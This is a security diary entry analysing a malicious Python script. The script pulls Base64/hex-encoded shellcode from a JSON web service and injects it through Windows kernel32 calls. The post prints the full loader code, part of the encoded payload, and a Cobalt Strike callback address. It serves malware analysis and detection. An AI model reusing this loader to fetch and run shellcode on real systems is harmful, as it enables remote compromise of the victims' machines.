Python Shellcode Injection From JSON Data
My hunting rules detected a niece piece of Python code. It's interesting to see how the code is simple, not deeply obfuscated, and with a very low VT score: 2/56![1]. I see more and more malicious Python code targeting the Windows environments. Thanks to the library ctypes[2], Python is able to use any native API calls provided by DLLs.
The script is very simple, so here is the full code:
import ctypes,urllib3,base64,json try: b=eval t=bytearray u=len A=json.loads H=base64.b64decode P=urllib3.PoolManager q=ctypes.pointer M=ctypes.c_char D=ctypes.c_int f=ctypes.c_uint64 F=ctypes.windll y={'Content-Type':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ',"Origin":'hxxps://txtpad[.]cn',} I="hxxps://a6[.]qikekeji[.]com/txt/data/detail/?txt_name=1231" n=A(A(P().request('GET',I,headers=y).data.decode(encoding='UTF-8'))['data']['txt_content'])[0]['content'] U=b(H(n).decode('utf-8')) U=t(U) F.kernel32.VirtualAlloc.restype=f e=F.kernel32.VirtualAlloc(D(0),D(u(U)),D(0x3000),D(0x40)) X=(M*u(U)).from_buffer(U) F.kernel32.RtlMoveMemory(f(e),X,D(u(U))) k=F.kernel32.CreateThread(D(0),D(0),f(e),D(0),D(0),q(D(0))) F.kernel32.WaitForSingleObject(D(k),D(-1)) except Exception as e: print(e)
Note the strange HTTP header "Content-Type
" that contains a User-Agent!?
If you're familiar with code injection in Windows, you can quickly spot the magic combination of classic API calls:
- kernel32.VirtualAlloc (with the "0x40")
- kernel32.RtlMoveMemory
- kernel32.CreateThread
- kernel32.WaitForSingleObject
The shellcode is downloaded from a website and, based on the references to "json.loads
" and "b64decode
", we can guess that it's hidden in a JSON structure. When you visit the URL, you get this data back (beautified):
{ "status":1,"data": { "v_id":"c74fc1d6e42edcf7faf94eb82b55367a", "txt_name":"1231", "txt_id":"b50422211e7a5b75acc9aaed927de394", "txt_content":" [{\"title\":\"YiJceGZjXHg0OFx4ODNc\", \"content\":\"YiJceGZjXHg0OFx4 ... Content Removed ... NFx4NTNceGU1XHhmZlx4ZDVceDQ4XHg5M 1x4NTNceDUzXHg0OFx4ODlceGU3XHg0OFx4ODlceGYxXHg0OFx4ODlceGRhXHg0MVx4YjhceDA wXHgyMFx4MDBceDAwXHg0OVx4ODlceGY5XHg0MVx4YmFceDEyXHg5Nlx4ODlceGUyXHhmZlx4Z DVceDQ4XHg4M1x4YzRceDIwXHg4NVx4YzBceDc0XHhiNlx4NjZceDhiXHgwN1x4NDhceDAxXHh jM1x4ODVceGMwXHg3NVx4ZDdceDU4XHg1OFx4NThceDQ4XHgwNVx4MDBceDAwXHgwMFx4MDBce DUwXHhjM1x4ZThceDlmXHhmZFx4ZmZceGZmXHgzMVx4MzVceDMwXHgyZVx4MzFceDM1XHgzOFx 4MmVceDMzXHgzOVx4MmVceDMyXHgzMVx4MzVceDAwXHgxOVx4NjlceGEwXHg4ZCI=\" } ]", "read_count":134, "report_count":0 }, "req_id":"de4d1b3c08f459508760" }
The "content
" variable contains the shellcode. It is extracted and injected.
Note that the shellcode is Base64-encoded but also hex-encoded. The shellcode phones home to http://150[.]158[.]39[.]215/x9Ic (a classic Cobalt Strike[3]).
[1] https://www.virustotal.com/gui/file/a848d43eae6518569edb17158a9a127167051266dd406acbb963d1330a9ffefc/detection
[2] https://docs.python.org/3/library/ctypes.html
[3] https://isc.sans.edu/forums/diary/Finding+Metasploit+Cobalt+Strike+URLs/27204/
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Advanced Code Analysis | Singapore | Nov 18th - Nov 22nd 2024 |
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